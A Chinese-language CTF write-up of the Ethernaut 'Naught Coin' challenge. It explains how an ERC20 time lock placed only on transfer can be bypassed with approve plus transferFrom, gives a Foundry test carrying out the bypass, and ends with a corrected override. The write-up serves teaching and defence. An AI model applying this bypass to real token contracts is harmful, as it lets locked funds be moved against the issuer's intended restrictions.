当前位置: 首页 > news >正文

Ethernaut Level 15: Naught Coin - ERC20 approve/transferFrom漏洞

🎯 Ethernaut Level 15: Naught Coin - ERC20 approve/transferFrom漏洞

关卡链接: Ethernaut Level 15 - Naught Coin
攻击类型: ERC20 approve/transferFrom 漏洞
难度: ⭐⭐☆☆☆

📋 挑战目标

作为 player,你初始拥有全部的 NaughtCoin 代币。然而,合约中的 transfer 函数被锁定,十年内无法转移代币。你的目标是在锁定期结束前,将你的全部代币从你的地址中转移出去。
Naught Coin Challenge

🔍 漏洞分析

让我们看一下 NaughtCoin 合约。它继承自 OpenZeppelin 的 ERC20 标准合约。

contract NaughtCoin is ERC20 {uint public timeLock;address public player;constructor(address _player) ERC20("NaughtCoin", "0x0") {player = _player;timeLock = block.timestamp + 10 * 365 days;_mint(player, 1000000 * (10**18));}modifier lockTokens() {if (msg.sender == player) {require(block.timestamp > timeLock, "NaughtCoin: time lock is active");_;} else {_;}}// Override transfer to lock tokens for the playerfunction transfer(address _to, uint256 _value) public override lockTokens returns (bool) {return super.transfer(_to, _value);}// Other functions are inherited from ERC20
}

合约通过 override 重写了 transfer 函数,并为其增加了一个 lockTokens 修饰符。这个修饰符会检查 msg.sender 是否为 player,如果是,则要求 block.timestamp 大于 timeLock(十年之后)。这意味着我们作为 player,无法直接调用 transfer 函数来转移代-笔。

然而,开发者只重写了 transfer 函数,却忽略了 ERC20 标准中的另一个重要的代币转移函数:transferFrom(address from, address to, uint256 amount)

transferFrom 函数允许一个地址(spender)在得到 owner 授权(approve)后,从 owner 的账户中转移代币到任何地址。

由于 NaughtCoin 合约没有重写 transferFrom,它将直接使用 OpenZeppelin ERC20 合约中的原始实现,而这个原始实现是没有 lockTokens 修饰符的!

因此,攻击路径变得清晰:

  1. 我们(player)调用 approve 函数,授权给另一个地址(可以是自己,也可以是任何其他地址)转移我们的全部代币。
  2. 我们(或被授权的地址)调用 transferFrom 函数,将代币从我们的账户中转移出去。

💻 Foundry 实现

攻击合约代码

在 Foundry 测试中,我们可以直接模拟这个过程。我们甚至不需要一个单独的攻击合约,因为 player 可以授权给自己来执行 transferFrom

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "src/15_NaughtCoin.sol";contract NaughtCoinTest is Test {NaughtCoin instance;address player1;address player2;function setUp() public {player1 = vm.addr(1);player2 = vm.addr(2); // 一个用于接收代币的地址instance = new NaughtCoin(player1);}function testAttacker() public {vm.startPrank(player1, player1);// 获取 player1 的全部余额uint256 playerBalance = instance.balanceOf(player1);// 步骤 1: player1 授权给 player1 (自己) 转移全部余额instance.approve(player1, playerBalance);// 步骤 2: player1 调用 transferFrom 将自己的代币转移到 player2instance.transferFrom(player1, player2, playerBalance);// 验证结果assertEq(instance.balanceOf(player1), 0);assertEq(instance.balanceOf(player2), playerBalance);vm.stopPrank();}
}

关键攻击步骤

  1. 获取余额: 首先,确定 player 地址拥有的代币总量。
  2. 授权 (approve): player 调用 instance.approve(spender, amount),其中 spender 是被授权的地址,amount 是授权额度。在这里,我们让 player 授权给自己全部余额。
  3. 转移 (transferFrom): player 调用 instance.transferFrom(from, to, amount),其中 fromplayer 地址,to 是接收地址,amount 是要转移的数量。

这个过程成功地绕过了 transfer 函数的 timeLock 限制。

🛡️ 防御措施

  1. 完整地覆盖函数: 当继承一个标准(如ERC20)并打算修改其核心功能时,必须确保所有相关的函数都被一致地修改。在这个案例中,如果 transfer 被锁定,那么 transferFrom 也应该被同样的方式锁定。

    // 正确的修复方式
    function transferFrom(address from, address to, uint256 value) public override lockTokens returns (bool) {return super.transferFrom(from, to, value);
    }
    
  2. 使用成熟的代币锁定合约: 与其自己实现时间锁,不如使用经过审计和广泛使用的解决方案,例如 OpenZeppelin 的 TokenTimelock 合约。这些合约已经考虑了各种边缘情况。

🔧 相关工具和技术

  • ERC20 标准: 深入理解ERC20代币标准的全部接口是至关重要的,包括 transfer, approve, transferFrom, balanceOf, allowance 等。
  • 函数覆盖 (override): 在Solidity中,当子合约需要修改父合约的行为时,使用 override 关键字。但必须小心,确保所有相关的行为都被覆盖,以避免产生漏洞。
  • Foundry prank: vm.startPrank 是模拟特定地址(如 player)执行操作的强大工具,使得在测试中模拟多步攻击流程变得简单。

🎯 总结

核心概念:

  • ERC20标准定义了一套代币交互的接口,仅仅限制其中一个(transfer)是不够的。
  • approvetransferFrom 的组合是ERC20的一个核心功能,允许第三方代为转移代币。
  • 在进行合约继承和函数覆盖时,必须保持逻辑的一致性,否则很容易引入漏洞。

攻击向量:

  • 识别出合约只限制了 transfer 函数,而没有限制 transferFrom 函数。
  • 利用 approvetransferFrom 的标准功能来绕过不完整的安全限制。

防御策略:

  • 在修改继承合约的功能时,进行全面的影响分析,确保所有相关的函数都得到一致的处理。
  • 优先使用经过社区审计和验证的标准实现,而不是自己重新发明轮子。

📚 参考资料

  • ERC20 Token Standard
  • OpenZeppelin ERC20 Implementation
  • Solidity Docs: Overriding

🔗 相关链接

  • 原文
  • GitHub 项目

在智能合约的世界中,最简单的漏洞往往隐藏着最深刻的安全教训。 🎓

http://www.dtcms.com/a/553532.html

相关文章:

  • PySide6 实现win10 手动与自动切换主题 借助系统托盘
  • 上传项目至Github与从Github克隆项目
  • 做个人网站的步骤上海建筑设计公司平台
  • 如何使用一个模型完成多种交通任务?请看此文
  • 第N2周:构建词典
  • 德意志飞机D328eco携手ADS:CMS+IETM双引擎,点燃通用航空效率革命
  • c#获取当前程序所在目录避坑
  • day59-Shell编程(第五部分)
  • 网站建设客户需求分析调查表江苏国泰做的网站案例
  • VUE3+element plus el-table上下拖拽
  • 【模拟面试|豆包模拟面试-1 Java基础】
  • AI优化亚马逊广告:DeepBI智能化托管让广告运营从负担变轻松,ACOS优化至23%以下
  • 关键词解释:梯度消失(Vanishing Gradient)与 梯度爆炸(Exploding Gradient)
  • 天津网站建设如何最近火爆的新闻
  • Maven内核探秘:从启动到构建全流程
  • CNCC 2025|开源AI基础设施论坛成功举办
  • 开源可信MCP,AICC机密计算新升级!
  • 混元图像3.0开源原生多模态生图新篇章
  • 环境搭建与第一个程序:Hello, Rust!
  • [论文阅读] AI | 大语言模型服务系统服务级目标和系统级指标优化研究
  • 帝国网站管理系统视频教程asp网站开发
  • 自己做的网站申请软著物联网是干嘛的
  • 企业形象破局指南——缺乏专业线上展示?官网SEO优化重构品牌信任
  • webgl 变换矩阵:旋转、平移、缩放
  • 怎么做婚介网站襄阳php网站开发
  • 网站建设规划书案例济南做网站互联网公司有哪些
  • float为什么会丢失精度?
  • 网站产品后台界面怎么做微信朋友圈广告推广
  • 香港科技大学广州|可持续能源与环境学域博士招生宣讲会—吉林大学专场
  • LaTeX 重点表格文字对不齐(有些列文字和其他列差一行才显示)的原因和解决办法